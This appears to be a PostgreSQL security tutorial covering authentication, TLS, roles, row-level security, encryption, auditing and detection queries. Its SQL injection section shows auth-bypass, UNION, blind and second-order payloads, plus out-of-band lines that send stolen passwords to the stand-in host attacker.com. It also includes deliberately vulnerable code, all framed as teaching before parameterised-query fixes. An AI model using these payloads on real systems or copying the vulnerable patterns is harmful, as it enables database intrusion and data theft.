Database Security

# pg_hba.conf (Host-Based Authentication) format:
# TYPE    DATABASE    USER        ADDRESS        METHOD     OPTIONS

# ─────────────────────────────────────────────────────────────────
# TRUST: no password required — NEVER use in production
# ─────────────────────────────────────────────────────────────────
local   all         postgres                   trust
# Any OS user can connect as the postgres superuser with no password
# Appropriate ONLY for local development

# ─────────────────────────────────────────────────────────────────
# MD5: password hashed with MD5 — deprecated, avoid
# ─────────────────────────────────────────────────────────────────
host    all         all         0.0.0.0/0      md5
# MD5 is cryptographically weak — vulnerable to offline dictionary attacks
# Still works but use scram-sha-256 instead

# ─────────────────────────────────────────────────────────────────
# SCRAM-SHA-256: current best practice for password auth
# ─────────────────────────────────────────────────────────────────
host    myapp_db    app_user    10.0.1.0/24    scram-sha-256
# Only the app_user can connect to myapp_db from the 10.0.1.0/24 subnet
# SCRAM-SHA-256: challenge-response — password never sent in plain text
# Even if intercepted, attacker cannot replay the authentication

# ─────────────────────────────────────────────────────────────────
# CERTIFICATE: mutual TLS — strongest password-free method
# ─────────────────────────────────────────────────────────────────
hostssl all         all         0.0.0.0/0      cert
# Client must present a valid TLS certificate signed by the CA
# Used in cloud environments, Kubernetes, machine-to-machine auth
# No password — certificate IS the credential

# ─────────────────────────────────────────────────────────────────
# LDAP / RADIUS: delegate authentication to external directory
# ─────────────────────────────────────────────────────────────────
host    all         all         10.0.0.0/8     ldap
    ldapserver=ldap.company.com
    ldapbasedn="dc=company,dc=com"
    ldapbinddn="cn=postgres,dc=company,dc=com"
    ldapbindpasswd="bind_password"
# Authenticate against Active Directory / LDAP server
# Users' database passwords = their corporate directory passwords
# Single point for user lifecycle management (disable in AD = disable DB access)

# ─────────────────────────────────────────────────────────────────
# PRODUCTION BEST PRACTICES
# ─────────────────────────────────────────────────────────────────
# 1. Never trust connections from any address — always require auth
# 2. Restrict source IP addresses per user/database combination
# 3. Use scram-sha-256 minimum for password auth
# 4. Use SSL/TLS (hostssl) — never allow unencrypted connections in production
# 5. Disable the postgres superuser from remote login:
host    all         postgres    0.0.0.0/0      reject
local   all         postgres                   scram-sha-256

-- ─────────────────────────────────────────────────────────────────
-- POSTGRESQL TLS SETUP
-- ─────────────────────────────────────────────────────────────────

-- In postgresql.conf:
ssl = on
ssl_cert_file = '/etc/postgresql/server.crt'
ssl_key_file  = '/etc/postgresql/server.key'
ssl_ca_file   = '/etc/postgresql/ca.crt'       -- CA cert for client verification
ssl_ciphers   = 'HIGH:!aNULL:!MD5'            -- strong ciphers only
ssl_min_protocol_version = 'TLSv1.2'           -- reject TLS 1.0 and 1.1

-- Force SSL for all non-local connections in pg_hba.conf:
hostnossl  all  all  0.0.0.0/0  reject    -- reject non-SSL connections
hostssl    all  all  0.0.0.0/0  scram-sha-256  -- require SSL + password

-- VERIFY SSL is being used by a connection:
SELECT ssl, version, cipher, bits, client_dn
FROM pg_stat_ssl
WHERE pid = pg_backend_pid();

-- CONNECTION STRING from application (require SSL):
postgresql://app_user:password@db.example.com:5432/mydb?sslmode=require
-- sslmode options:
-- disable:     never use SSL (dangerous, never in production)
-- allow:       try SSL, fall back to plain
-- prefer:      prefer SSL, fall back to plain (DEFAULT — not safe enough)
-- require:     always use SSL, don't verify certificate
-- verify-ca:   SSL + verify server cert is signed by trusted CA
-- verify-full: SSL + verify cert AND hostname match (MOST SECURE)

-- Production applications: always use sslmode=verify-full with the CA cert
postgresql://app_user:pass@db.company.com/mydb
    ?sslmode=verify-full
    &sslrootcert=/app/certs/ca.crt

-- ─────────────────────────────────────────────────────────────────
-- CREATING USERS WITH STRONG PASSWORDS
-- ─────────────────────────────────────────────────────────────────

-- Set password hashing to SCRAM-SHA-256 (do this first):
SET password_encryption = 'scram-sha-256';

-- Create application user with strong password:
CREATE USER app_user
    PASSWORD 'do-not-hardcode-use-secrets-manager'
    CONNECTION LIMIT 50   -- max 50 simultaneous connections
    VALID UNTIL '2025-01-01';  -- force password rotation

-- Rotate a password (application briefly uses new password):
ALTER USER app_user PASSWORD 'new-strong-password-from-vault';

-- ─────────────────────────────────────────────────────────────────
-- SECRETS MANAGEMENT — never hardcode passwords
-- ─────────────────────────────────────────────────────────────────

-- BAD: password in application code or config file
DATABASE_URL="postgresql://app:hardcoded_password@db:5432/mydb"
# If this repo is ever public or leaked: database is compromised

-- GOOD: AWS Secrets Manager
import boto3, json
def get_db_password():
    client = boto3.client('secretsmanager', region_name='ap-south-1')
    secret = client.get_secret_value(SecretId='prod/db/app_user')
    return json.loads(secret['SecretString'])['password']

-- GOOD: HashiCorp Vault
vault kv get secret/prod/database/app_user
# Application uses Vault agent to auto-rotate credentials

-- GOOD: Kubernetes Secrets (base64 encoded, mounted as env vars)
kubectl create secret generic db-creds     --from-literal=password='$(vault read -field=password secret/db)'

-- AUTOMATIC ROTATION (AWS RDS + Secrets Manager):
-- Secrets Manager can automatically rotate the RDS password on a schedule
-- Application fetches the secret on each connection attempt
-- Zero-downtime rotation: new password written before old is invalidated

-- ─────────────────────────────────────────────────────────────────
-- PRIVILEGE TYPES
-- ─────────────────────────────────────────────────────────────────
-- On tables/views:
-- SELECT, INSERT, UPDATE, DELETE, TRUNCATE, REFERENCES, TRIGGER

-- On schemas:
-- USAGE (can see objects in schema), CREATE (can create objects)

-- On databases:
-- CONNECT, CREATE, TEMP

-- On sequences:
-- USAGE, SELECT, UPDATE

-- On functions:
-- EXECUTE

-- ─────────────────────────────────────────────────────────────────
-- ROLE-BASED ACCESS CONTROL (RBAC) — group privileges into roles
-- ─────────────────────────────────────────────────────────────────

-- Step 1: Create roles (groups of privileges):
CREATE ROLE readonly_role;
CREATE ROLE app_role;
CREATE ROLE analytics_role;
CREATE ROLE dba_role;

-- Step 2: Grant privileges to roles:

-- readonly_role: can only SELECT
GRANT USAGE ON SCHEMA public TO readonly_role;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO readonly_role;
ALTER DEFAULT PRIVILEGES IN SCHEMA public
    GRANT SELECT ON TABLES TO readonly_role;
-- "ALTER DEFAULT PRIVILEGES" applies to FUTURE tables too — critical

-- app_role: application needs SELECT, INSERT, UPDATE, DELETE (no DROP, no TRUNCATE)
GRANT USAGE ON SCHEMA public TO app_role;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO app_role;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO app_role;
ALTER DEFAULT PRIVILEGES IN SCHEMA public
    GRANT SELECT, INSERT, UPDATE, DELETE ON TABLES TO app_role;
ALTER DEFAULT PRIVILEGES IN SCHEMA public
    GRANT USAGE, SELECT ON SEQUENCES TO app_role;

-- analytics_role: can SELECT everything, can create temp tables
GRANT USAGE ON SCHEMA public TO analytics_role;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO analytics_role;
GRANT CREATE ON SCHEMA analytics_scratch TO analytics_role;
-- analytics users get their own schema for scratch work

-- Step 3: Create users and assign roles:
CREATE USER app_server      LOGIN PASSWORD '...' IN ROLE app_role;
CREATE USER report_user     LOGIN PASSWORD '...' IN ROLE readonly_role;
CREATE USER data_analyst_01 LOGIN PASSWORD '...' IN ROLE analytics_role;

-- Step 4: Revoke dangerous defaults (PostgreSQL grants PUBLIC schema CREATE by default):
REVOKE CREATE ON SCHEMA public FROM PUBLIC;
-- Without this: any authenticated user can create tables in the public schema!
REVOKE ALL ON DATABASE myapp FROM PUBLIC;
GRANT CONNECT ON DATABASE myapp TO app_role, analytics_role, readonly_role;

-- ─────────────────────────────────────────────────────────────────
-- CHECKING CURRENT PRIVILEGES
-- ─────────────────────────────────────────────────────────────────
-- List all table privileges:
SELECT grantee, table_name, privilege_type
FROM information_schema.role_table_grants
WHERE table_schema = 'public'
ORDER BY grantee, table_name;

-- Check what a specific user can do:
dp orders   -- in psql: list privileges on the orders table

-- Check role memberships:
SELECT r.rolname, m.rolname AS member_of
FROM pg_roles r
JOIN pg_auth_members am ON r.oid = am.member
JOIN pg_roles m ON am.roleid = m.oid
ORDER BY r.rolname;

-- ─────────────────────────────────────────────────────────────────
-- USE CASE: multi-tenant SaaS — each tenant sees only their data
-- ─────────────────────────────────────────────────────────────────

-- 1. Add tenant_id to every table:
ALTER TABLE orders    ADD COLUMN tenant_id INT NOT NULL;
ALTER TABLE customers ADD COLUMN tenant_id INT NOT NULL;
ALTER TABLE products  ADD COLUMN tenant_id INT NOT NULL;

-- 2. Enable RLS on each table:
ALTER TABLE orders    ENABLE ROW LEVEL SECURITY;
ALTER TABLE customers ENABLE ROW LEVEL SECURITY;
ALTER TABLE products  ENABLE ROW LEVEL SECURITY;

-- 3. Create policies:
-- POLICY FOR SELECT: tenant can only see their own rows
CREATE POLICY tenant_isolation_orders
ON orders
FOR SELECT
USING (tenant_id = current_setting('app.tenant_id')::INT);

-- POLICY FOR INSERT: tenant can only insert rows for themselves
CREATE POLICY tenant_insert_orders
ON orders
FOR INSERT
WITH CHECK (tenant_id = current_setting('app.tenant_id')::INT);

-- POLICY FOR UPDATE: tenant can only update their own rows
CREATE POLICY tenant_update_orders
ON orders
FOR UPDATE
USING (tenant_id = current_setting('app.tenant_id')::INT)
WITH CHECK (tenant_id = current_setting('app.tenant_id')::INT);
-- USING: which rows can be seen/targeted
-- WITH CHECK: what the row must satisfy after the update

-- 4. Application sets tenant context on every connection:
-- In Python (psycopg2):
cursor.execute("SET LOCAL app.tenant_id = %s", (tenant_id,))
-- SET LOCAL: applies only for the current transaction
-- SET (without LOCAL): applies for entire session

-- 5. Test the policy:
SET app.tenant_id = 42;
SELECT * FROM orders;
-- Automatically returns: SELECT * FROM orders WHERE tenant_id = 42
-- No WHERE clause needed in application code — enforced by the database

-- ─────────────────────────────────────────────────────────────────
-- BYPASS RLS: superusers and table owners bypass RLS by default
-- ─────────────────────────────────────────────────────────────────
-- Force RLS even for the table owner:
ALTER TABLE orders FORCE ROW LEVEL SECURITY;

-- A role can bypass RLS if granted BYPASSRLS:
ALTER ROLE dba_role BYPASSRLS;
-- Use sparingly — only for actual DBAs, not application accounts

-- ─────────────────────────────────────────────────────────────────
-- COLUMN-LEVEL SECURITY via views + privileges
-- ─────────────────────────────────────────────────────────────────
-- Hide salary and PAN number from most users:
CREATE VIEW employees_public AS
SELECT employee_id, name, department, title, hire_date
FROM employees;
-- Do NOT grant SELECT on employees directly; grant on employees_public:
GRANT SELECT ON employees_public TO readonly_role;
REVOKE ALL    ON employees        FROM readonly_role;

-- Column-level GRANT (alternative to views):
GRANT SELECT (employee_id, name, department) ON employees TO readonly_role;
-- readonly_role can only select those three columns
-- SELECT * FROM employees will fail; SELECT employee_id, name FROM employees works

// ─────────────────────────────────────────────────────────────────
// CLASSIC IN-BAND SQL INJECTION (results returned directly)
// ─────────────────────────────────────────────────────────────────

// VULNERABLE login query (Python — NEVER DO THIS):
def login(username, password):
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    result = db.execute(query)
    return result.fetchone() is not None

// ATTACK 1: Authentication bypass
// username = admin'--
// password = anything
// Resulting query:
// SELECT * FROM users WHERE username='admin'--' AND password='anything'
// The -- comments out the password check entirely
// Returns the admin row → attacker is logged in as admin

// ATTACK 2: Always-true injection
// username = ' OR '1'='1
// Resulting query:
// SELECT * FROM users WHERE username='' OR '1'='1' AND password='...'
// '1'='1' is always true → returns ALL users → attacker logged in as first user

// ─────────────────────────────────────────────────────────────────
// UNION-BASED INJECTION (extract data from other tables)
// ─────────────────────────────────────────────────────────────────

// Vulnerable product search:
query = f"SELECT name, price FROM products WHERE category='{category}'"

// ATTACK: inject UNION to read from users table
// category = "phones' UNION SELECT username, password FROM users--"
// Resulting query:
// SELECT name, price FROM products WHERE category='phones'
// UNION SELECT username, password FROM users--'
// Returns product names AND usernames/passwords combined
// Attacker now has all usernames and password hashes

// ─────────────────────────────────────────────────────────────────
// BLIND SQL INJECTION (no results returned — attacker infers from behaviour)
// ─────────────────────────────────────────────────────────────────

// Boolean-based blind: server responds differently for true/false conditions
// URL: /user?id=1 AND 1=1      (true → page loads normally)
// URL: /user?id=1 AND 1=2      (false → page shows error or blank)
// Attacker builds queries bit by bit:
// /user?id=1 AND ASCII(SUBSTRING(password,1,1)) > 64   (first char > 'A'?)
// /user?id=1 AND ASCII(SUBSTRING(password,1,1)) > 96   (first char > 'a'?)
// → Extracts the entire database character by character

// Time-based blind: server delays response for true conditions
// /user?id=1; IF (1=1) WAITFOR DELAY '0:0:5'--  (SQL Server)
// /user?id=1 AND (SELECT SLEEP(5) FROM users WHERE username='admin')--  (MySQL)
// 5-second delay → confirms condition is true → extract data bit by bit

// ─────────────────────────────────────────────────────────────────
// SECOND-ORDER INJECTION (stored and executed later)
// ─────────────────────────────────────────────────────────────────

// Input is safely stored but unsafely used later:
// Step 1: Register username "admin'--" (stored safely with escaping)
// Step 2: Change password feature uses stored username in a new query:
//   query = f"UPDATE users SET password='{new_pass}' WHERE username='{stored_username}'"
// The stored username is retrieved from DB and concatenated WITHOUT escaping
// Resulting: UPDATE users SET password='...' WHERE username='admin'--'
// Password of admin account is changed by a regular user

// ─────────────────────────────────────────────────────────────────
// OUT-OF-BAND INJECTION (exfiltrate via DNS or HTTP)
// ─────────────────────────────────────────────────────────────────
// When results cannot be read directly and delays are blocked:
// MySQL:
//   SELECT LOAD_FILE(CONCAT('\\', (SELECT password FROM users LIMIT 1), '.attacker.com\a'))
// SQL Server:
//   EXEC xp_dirtree '\' + (SELECT TOP 1 password FROM users) + '.attacker.coma'
// The database makes a DNS lookup to attacker.com with the stolen data as a subdomain
// Attacker reads their DNS logs to get the data

// ─────────────────────────────────────────────────────────────────
// THE FUNDAMENTAL FIX: PARAMETERISED QUERIES (PREPARED STATEMENTS)
// ─────────────────────────────────────────────────────────────────
// Parameterised queries send the SQL structure and the data SEPARATELY.
// The database engine NEVER interprets the parameter as SQL code.
// Even if the parameter contains SQL syntax, it is treated as a literal string.

// PYTHON (psycopg2) — CORRECT:
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)   # parameters passed separately — cannot change query structure
)

// PYTHON (psycopg2) — WRONG:
cursor.execute(f"SELECT * FROM users WHERE username='{username}'")  # NEVER

// JAVA (JDBC PreparedStatement) — CORRECT:
PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ? AND password = ?"
);
stmt.setString(1, username);  // parameter 1
stmt.setString(2, password);  // parameter 2
ResultSet rs = stmt.executeQuery();

// NODE.JS (pg library) — CORRECT:
const result = await client.query(
    'SELECT * FROM users WHERE username = $1 AND password = $2',
    [username, password]
);

// PHP (PDO) — CORRECT:
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->execute([$username, $password]);

// DJANGO ORM — CORRECT (ORM handles parameterisation automatically):
User.objects.filter(username=username, password=password)
# Django ORM always uses parameterised queries under the hood

// SQLALCHEMY (Python ORM) — CORRECT:
session.query(User).filter_by(username=username, password=password).first()
# Always parameterised. Use text() with bindparams for raw SQL:
from sqlalchemy import text
session.execute(
    text("SELECT * FROM users WHERE username = :user"),
    {"user": username}
)

// ─────────────────────────────────────────────────────────────────
// DYNAMIC TABLE/COLUMN NAMES (cannot be parameterised — different solution)
// ─────────────────────────────────────────────────────────────────
// Parameters work for VALUES, not for identifiers (table names, column names)
// If you must build dynamic SQL with identifiers:

// PYTHON — use allowlist validation:
ALLOWED_SORT_COLUMNS = {'name', 'price', 'date', 'rating'}
if sort_column not in ALLOWED_SORT_COLUMNS:
    raise ValueError(f"Invalid sort column: {sort_column}")
query = f"SELECT * FROM products ORDER BY {sort_column}"
# Safe because we validated against an allowlist before using in SQL

// POSTGRESQL — use quote_ident() for dynamic identifiers in PL/pgSQL:
EXECUTE format('SELECT * FROM %I ORDER BY %I', table_name, col_name);
-- %I: quotes the identifier properly, prevents injection
-- %L: quotes a literal value

// ─────────────────────────────────────────────────────────────────
// STORED PROCEDURES — do they prevent injection?
// ─────────────────────────────────────────────────────────────────
-- ONLY if they use parameterised queries internally:

-- SAFE stored procedure:
CREATE FUNCTION get_user(p_username TEXT) RETURNS SETOF users AS $$
BEGIN
    RETURN QUERY SELECT * FROM users WHERE username = p_username;
    -- p_username is a parameter — cannot change query structure
END;
$$ LANGUAGE plpgsql;

-- UNSAFE stored procedure (dynamic SQL without parameterisation):
CREATE FUNCTION get_user_unsafe(p_username TEXT) RETURNS SETOF users AS $$
BEGIN
    EXECUTE 'SELECT * FROM users WHERE username = ''' || p_username || '''';
    -- String concatenation inside stored procedure = still injectable!
END;
$$ LANGUAGE plpgsql; -- NEVER DO THIS

// ─────────────────────────────────────────────────────────────────
// LEVEL 1: FULL DISK ENCRYPTION (OS-level)
// ─────────────────────────────────────────────────────────────────
// Linux LUKS, AWS EBS encryption, Azure Disk Encryption
// Entire disk is encrypted with AES-256
// Transparent to the database — no configuration needed
// Protects against: physical disk theft
// Does NOT protect against: running OS access, compromised application

// AWS RDS: enable encryption at creation time
aws rds create-db-instance     --db-instance-identifier prod-postgres     --storage-encrypted     --kms-key-id arn:aws:kms:ap-south-1:123456:key/abc-def
-- Cannot enable encryption on existing unencrypted RDS instance
-- Must snapshot + restore to encrypted instance

// ─────────────────────────────────────────────────────────────────
// LEVEL 2: TABLESPACE-LEVEL ENCRYPTION (PostgreSQL TDE — extension)
// ─────────────────────────────────────────────────────────────────
-- Native transparent data encryption via pg_tde extension (PostgreSQL 17+)
-- Encrypts individual tables/tablespaces at the storage level
-- Protects against: stolen data files, backup file access
-- Does NOT protect against: queries executed as a legitimate user

-- ─────────────────────────────────────────────────────────────────
-- LEVEL 3: COLUMN-LEVEL ENCRYPTION (pgcrypto)
-- ─────────────────────────────────────────────────────────────────
-- Encrypt specific sensitive columns within the database
-- Even a DBA with full PostgreSQL access cannot read plaintext values
-- Protects against: insider threats, compromised DBA account

CREATE EXTENSION pgcrypto;

-- Encrypt on insert (using symmetric encryption with application-managed key):
INSERT INTO customers (name, email, pan_number, bank_account)
VALUES (
    'Rahul Sharma',
    'rahul@email.com',
    pgp_sym_encrypt('ABCDE1234F', 'encryption_key_from_vault'),
    pgp_sym_encrypt('1234567890123456', 'encryption_key_from_vault')
);

-- Decrypt on select (only if application knows the key):
SELECT name, email,
       pgp_sym_decrypt(pan_number::bytea, 'encryption_key_from_vault') AS pan_plain
FROM customers
WHERE customer_id = 42;

-- HASH sensitive lookup fields (cannot decrypt — for equality checks only):
INSERT INTO customers (email_hash, email_encrypted)
VALUES (
    crypt('rahul@email.com', gen_salt('bf', 12)),  -- bcrypt hash for lookup
    pgp_sym_encrypt('rahul@email.com', 'key')       -- encrypted for display
);
-- Lookup: WHERE email_hash = crypt('rahul@email.com', email_hash)

-- ─────────────────────────────────────────────────────────────────
-- KEY MANAGEMENT — the hardest part of encryption
-- ─────────────────────────────────────────────────────────────────
-- Encryption is only as strong as key management
-- Storing the key next to the encrypted data defeats the purpose

-- NEVER: store encryption keys in the database you're encrypting
-- NEVER: store encryption keys in application code or config files
-- ALWAYS: use a dedicated key management service (KMS)

-- AWS KMS: generate and manage keys, never expose raw key material
-- The key never leaves KMS. Instead, you send plaintext → KMS returns ciphertext.
-- To decrypt: send ciphertext to KMS → KMS returns plaintext (if IAM allows).

-- HashiCorp Vault Transit secrets engine:
-- vault write transit/encrypt/customer-data plaintext=$(base64 <<< "ABCDE1234F")
-- vault write transit/decrypt/customer-data ciphertext="vault:v1:abc..."
-- Keys are managed by Vault, application never sees raw key material

-- ─────────────────────────────────────────────────────────────────
-- VERIFY TLS IS ACTIVE on all connections
-- ─────────────────────────────────────────────────────────────────
SELECT pid, ssl, version, cipher, bits,
       pg_authid.rolname AS username,
       client_addr
FROM pg_stat_ssl
JOIN pg_stat_activity USING (pid)
LEFT JOIN pg_authid ON pg_stat_activity.usesysid = pg_authid.oid
WHERE ssl = false;  -- find any non-SSL connections — should return 0 rows

-- ─────────────────────────────────────────────────────────────────
-- CERTIFICATE ROTATION PROCEDURE (zero-downtime)
-- ─────────────────────────────────────────────────────────────────
-- 1. Generate new server certificate (keep old one active):
openssl req -new -key server.key -out server.csr
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -days 365 -out server_new.crt

-- 2. Add new cert to postgresql.conf (dual-cert period):
ssl_cert_file = 'server_new.crt'

-- 3. Reload PostgreSQL (existing connections keep old cert, new ones use new):
pg_ctl reload

-- 4. After all connections have cycled, remove old cert reference

-- ─────────────────────────────────────────────────────────────────
-- DATA MASKING — show partial data to reduce exposure
-- ─────────────────────────────────────────────────────────────────
-- Masking in queries (for display purposes):
SELECT
    name,
    -- Show only last 4 digits of PAN: XXXXX1234F
    'XXXXX' || RIGHT(pan_number, 5) AS masked_pan,
    -- Show only domain of email: r***@email.com
    LEFT(email, 1) || '***@' || SPLIT_PART(email, '@', 2) AS masked_email,
    -- Show only last 4 digits of account: XXXX-XXXX-XXXX-3456
    'XXXX-XXXX-XXXX-' || RIGHT(account_number, 4) AS masked_account
FROM customers;

-- DYNAMIC DATA MASKING in production:
-- Create a masking view for non-privileged roles:
CREATE VIEW customers_masked AS
SELECT
    customer_id, name, city,
    'XXXXX' || RIGHT(pan_number, 5)                    AS pan_number,
    LEFT(email,1) || '***@' || SPLIT_PART(email,'@',2) AS email
FROM customers;

GRANT SELECT ON customers_masked TO support_role;
REVOKE ALL    ON customers        FROM support_role;
-- Support team can look up customers by city/name but never sees PAN or full email

-- ─────────────────────────────────────────────────────────────────
-- SETUP pgAudit EXTENSION
-- ─────────────────────────────────────────────────────────────────

-- Install (requires adding to shared_preload_libraries):
-- In postgresql.conf:
shared_preload_libraries = 'pgaudit'
pgaudit.log = 'write, ddl, role'
-- Audit levels:
-- read:   SELECT, COPY FROM
-- write:  INSERT, UPDATE, DELETE, TRUNCATE, COPY TO
-- ddl:    CREATE, ALTER, DROP
-- role:   GRANT, REVOKE, CREATE ROLE, ALTER ROLE, DROP ROLE
-- misc:   DISCARD, FETCH, CHECKPOINT, VACUUM, SET
-- all:    everything (very verbose)

-- SESSION-LEVEL audit (all queries by current session):
SET pgaudit.log = 'all';

-- OBJECT-LEVEL audit (only specific tables — more targeted):
CREATE ROLE audit_role;
GRANT SELECT, INSERT ON payments TO audit_role;
ALTER ROLE audit_role SET pgaudit.log = 'read, write';
-- Now all access to payments table by any user is logged

-- ─────────────────────────────────────────────────────────────────
-- AUDIT LOG FORMAT
-- ─────────────────────────────────────────────────────────────────
-- pgAudit writes to the PostgreSQL log:
-- AUDIT: SESSION,1,1,READ,SELECT,TABLE,public.payments,
--        "SELECT * FROM payments WHERE customer_id = 42",<not logged>
-- Fields: AUDIT_TYPE, STATEMENT_ID, SUBSTATEMENT_ID, CLASS, COMMAND,
--         OBJECT_TYPE, OBJECT_NAME, STATEMENT, PARAMETER

-- EXAMPLE AUDIT LOG ENTRY:
-- 2024-03-15 14:32:01.234 IST [pid=12345] app_user@myapp
-- LOG: AUDIT: SESSION,1,1,WRITE,UPDATE,TABLE,public.orders,
--      "UPDATE orders SET status='delivered' WHERE order_id=5001",<not logged>

-- ─────────────────────────────────────────────────────────────────
-- APPLICATION-LEVEL AUDIT TABLE (complement to pgAudit)
-- ─────────────────────────────────────────────────────────────────
-- For business-level auditing (who in the application changed what):
CREATE TABLE audit_log (
    audit_id        BIGSERIAL PRIMARY KEY,
    table_name      TEXT NOT NULL,
    operation       CHAR(1) NOT NULL,  -- I, U, D
    record_id       BIGINT NOT NULL,
    old_values      JSONB,
    new_values      JSONB,
    changed_by_db   TEXT NOT NULL DEFAULT SESSION_USER,
    changed_by_app  INT,              -- application user ID from session variable
    changed_at      TIMESTAMPTZ NOT NULL DEFAULT CURRENT_TIMESTAMP,
    client_ip       INET,
    application     TEXT
);

-- Generic audit trigger function:
CREATE OR REPLACE FUNCTION generic_audit_trigger()
RETURNS TRIGGER LANGUAGE plpgsql AS $$
DECLARE
    v_app_user_id INT;
    v_client_ip   INET;
BEGIN
    BEGIN
        v_app_user_id := current_setting('app.user_id')::INT;
        v_client_ip   := current_setting('app.client_ip')::INET;
    EXCEPTION WHEN OTHERS THEN
        v_app_user_id := NULL;
        v_client_ip   := NULL;
    END;

    INSERT INTO audit_log (
        table_name, operation, record_id,
        old_values, new_values,
        changed_by_app, client_ip, application
    )
    VALUES (
        TG_TABLE_NAME,
        LEFT(TG_OP, 1),
        CASE TG_OP WHEN 'DELETE' THEN (row_to_json(OLD)->>'id')::BIGINT
                   ELSE (row_to_json(NEW)->>'id')::BIGINT END,
        CASE WHEN TG_OP IN ('UPDATE','DELETE') THEN row_to_json(OLD)::JSONB END,
        CASE WHEN TG_OP IN ('INSERT','UPDATE') THEN row_to_json(NEW)::JSONB END,
        v_app_user_id, v_client_ip,
        current_setting('application_name', true)
    );

    RETURN COALESCE(NEW, OLD);
END;
$$;

-- Apply to sensitive tables:
CREATE TRIGGER audit_payments
AFTER INSERT OR UPDATE OR DELETE ON payments
FOR EACH ROW EXECUTE FUNCTION generic_audit_trigger();

CREATE TRIGGER audit_customers
AFTER INSERT OR UPDATE OR DELETE ON customers
FOR EACH ROW EXECUTE FUNCTION generic_audit_trigger();

-- ─────────────────────────────────────────────────────────────────
-- DETECT SUSPICIOUS PATTERNS IN AUDIT LOGS
-- ─────────────────────────────────────────────────────────────────

-- 1. MASS DATA EXTRACTION: user reading far more rows than normal
SELECT changed_by_app, COUNT(*) AS reads_in_last_hour
FROM audit_log
WHERE operation = 'R'
  AND table_name = 'customers'
  AND changed_at >= NOW() - INTERVAL '1 hour'
GROUP BY changed_by_app
HAVING COUNT(*) > 10000  -- threshold: 10K reads in an hour is unusual
ORDER BY reads_in_last_hour DESC;

-- 2. ACCESS OUTSIDE BUSINESS HOURS: production DB access at 3am
SELECT changed_by_app, changed_by_db, table_name, operation, changed_at
FROM audit_log
WHERE EXTRACT(HOUR FROM changed_at AT TIME ZONE 'Asia/Kolkata')
      NOT BETWEEN 8 AND 20  -- outside 8am-8pm IST
  AND changed_at >= NOW() - INTERVAL '24 hours'
  AND table_name IN ('payments', 'customers', 'pan_details')
ORDER BY changed_at DESC;

-- 3. PRIVILEGE ESCALATION ATTEMPT: user trying to access tables they shouldn't
SELECT usename, query, query_start
FROM pg_stat_activity
WHERE state = 'active'
  AND query ILIKE '%pg_shadow%'  -- trying to read password hashes
   OR query ILIKE '%information_schema%'  -- probing schema structure
   OR query ILIKE '%pg_roles%';  -- checking role permissions

-- 4. REPEATED FAILED LOGIN ATTEMPTS (from PostgreSQL log):
grep "authentication failed" /var/log/postgresql/postgresql.log     | awk '{print $NF}' | sort | uniq -c | sort -rn | head -20
-- Shows IP addresses with most authentication failures — brute force detection

-- 5. MONITOR LONG-RUNNING QUERIES (potential data exfiltration):
SELECT pid, usename, state, query_start,
       NOW() - query_start AS duration,
       LEFT(query, 200) AS query_preview
FROM pg_stat_activity
WHERE state = 'active'
  AND NOW() - query_start > INTERVAL '5 minutes'
ORDER BY duration DESC;

-- TERMINATE suspicious long-running query:
SELECT pg_terminate_backend(pid)
FROM pg_stat_activity
WHERE pid = 12345;